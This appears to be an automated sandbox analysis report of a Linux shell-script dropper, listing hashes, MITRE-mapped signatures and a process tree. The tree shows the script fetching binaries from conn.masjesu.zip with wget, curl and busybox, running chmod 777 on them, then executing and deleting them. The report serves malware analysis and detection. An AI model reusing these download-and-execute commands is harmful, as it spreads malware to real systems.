59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76

Analysis

max time kernel
101s
max time network
104s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2024, 02:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
Size 10KB
Sample241030-c1fabsvekk
SHA256 59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76
MD5 2ab6b439e7b5a15c6839191360b9a06a
SHA1 c270c3f811248d555246b98069a5a84a9ea5f49e
SHA512 bc9b5609ba19477d1217d6951bd2f11ca7bbe4c8d549963a7f9133ebd2d60aa96557ad7d0e64c0a342e9671dc0c41d0fc4742a4325344f15ceff18a2833126d1
SSDEEP 192:9U0fiGNNBEz+6jsMOBv3klJ4tAObPSB5RiU0fiGdNBE+6jsMYv3klJwbPSB5RI:9U0fiGNNBECBv3klJ4tAHUU0fiGdNBD3
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
901	chmod
924	chmod
953	chmod
983	chmod
1013	chmod
1020	chmod
809	chmod
885	chmod
893	chmod
931	chmod
749	chmod
827	chmod
909	chmod
975	chmod
990	chmod
742	chmod
757	chmod
960	chmod
997	chmod
778	chmod
916	chmod
834	chmod
851	chmod
878	chmod
968	chmod
1005	chmod
938	chmod
946	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
732	curl
761	wget
823	busybox
928	curl
943	curl
971	wget
972	curl
979	wget
982	busybox
994	curl
745	wget
927	wget
950	curl
956	wget
957	curl
833	busybox
881	wget
920	wget
1010	curl
756	busybox
906	curl
967	busybox
1002	curl
764	curl
784	wget
789	curl
908	busybox
915	busybox
935	curl
937	busybox
959	busybox
987	curl
1019	busybox
830	wget
846	busybox
930	busybox
974	busybox
717	wget
831	curl
882	curl
892	busybox
898	curl
923	busybox
1004	busybox
858	wget
890	curl
964	wget
980	curl
754	curl
820	curl
837	wget
748	busybox
900	busybox
912	wget
934	wget
942	wget
1012	busybox
773	busybox
1016	wget
740	busybox
746	curl
753	wget
803	busybox
863	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq	curl
File opened for modification	/tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl
File opened for modification	/tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf	curl
File opened for modification	/tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh	curl
File opened for modification	/tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm	curl
File opened for modification	/tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g	curl
File opened for modification	/tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ	curl
File opened for modification	/tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN	curl
File opened for modification	/tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK	curl
File opened for modification	/tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI	curl
File opened for modification	/tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1	curl
File opened for modification	/tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ	curl
File opened for modification	/tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL	curl

/tmp/59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
/tmp/59a0133ce4cee7c4125b64a730c0ef1683f745b195e83640ac4dba71b2c35f76.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:756
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:784
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:813
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - System Network Configuration Discovery
  PID:823
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:829
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:830
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:846
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:873
- /bin/chmod
  chmod 777 iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  ./iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm iExQAUkmv55J4NwRTm1HIH1pC1gBhGHm5h
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - System Network Configuration Discovery
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:884
- /bin/chmod
  chmod 777 PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  ./PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm PQgGyf0oILzpBtIHlnvoqMxrUd6QkndjsI
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  ./dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm dcM6XosoZeKquQdWrMglJMWYyopNSak0CL
  2⤵
  PID:896
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - System Network Configuration Discovery
  PID:900
- /bin/chmod
  chmod 777 CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  ./CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm CWXEUrdP8NoQTGzT497kXKCRNaju3ns6rh
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  ./aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm aW5KLJweCtGTdWVckDn3w35VUWGWZw6lUN
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  ./UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm UvbvAJh2AofyX5JRGh02n6XIj6UpXChgQT
  2⤵
  PID:919
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - System Network Configuration Discovery
  PID:923
- /bin/chmod
  chmod 777 M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  ./M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm M1LRRDqVsRslHoWxbNM2qbcCBX3qOVmtuK
  2⤵
  PID:926
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:927
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - System Network Configuration Discovery
  PID:930
- /bin/chmod
  chmod 777 Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  ./Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm Ar51QfET5JXGNMpDWYyORZEfhVfo5X5qRm
  2⤵
  PID:933
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:934
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  ./KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm KiF185G8ZEVlCEWVGDfH1QjCvgFQCqA4bf
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:945
- /bin/chmod
  chmod 777 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  ./62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm 62qPSV3S8QxIx7gL819SExX8zGMfb1mziq
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:952
- /bin/chmod
  chmod 777 fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  ./fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm fPWjo3upvHq26eZwV5mqXvempS1X521mvJ
  2⤵
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  ./2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm 2r20lb6S9Kv1tbaCVSeWxIUSk6TEvh7ty1
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
  chmod 777 FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  ./FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm FSFqAjbg79YUc4N5UQNkdRAqUsaGO96teJ
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
  chmod 777 5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  ./5zifDCpUqBZRyrpHDVO14nhMCKnza4HM3g
  2⤵
  - Executes dropped EXE
  PID:976
